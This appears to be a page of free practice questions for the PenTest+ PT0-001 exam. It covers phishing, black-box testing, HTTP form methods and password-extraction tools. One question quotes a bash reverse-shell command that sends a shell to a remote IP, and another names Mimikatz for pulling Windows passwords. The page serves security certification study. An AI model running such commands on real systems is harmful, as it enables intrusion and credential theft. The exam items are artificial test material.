Online Access Free PT0-001 Exam Questions

A penetration tester is outside of an organization's network and is attempting to redirect users to a fake password reset website hosted on the penetration tester's box. Which of the following techniques is suitable to attempt this?

• A.Use an SSL downgrade attack.
• B.Employ NBNS poisoning.
• C.Conduct a phishing campaign.
• D.Perform ARP spoofing.

Black box penetration testing strategy provides the tester with:

• A.a target list
• B.a network diagram
• C.source code
• D.privileged credentials

The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

• A.Redirects a TTY to a remote system.
• B.Grabs the web server's banner.
• C.Removes error logs for the supplied IP.
• D.Performs a port scan.

An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an:

• A.HTTP OPTIONS method.
• B.HTTP PUT method.
• C.HTTP TRACE method.
• D.HTTP POST method.

A penetration tester obtained access to an internal host of a given target. Which of the following is the BEST tool to retrieve the passwords of users of the machine exploiting a well-knows architecture flaw of the Windows OS?

• A.John the Ripper
• B.RainCrack
• C.Mimikatz
• D.Hashcat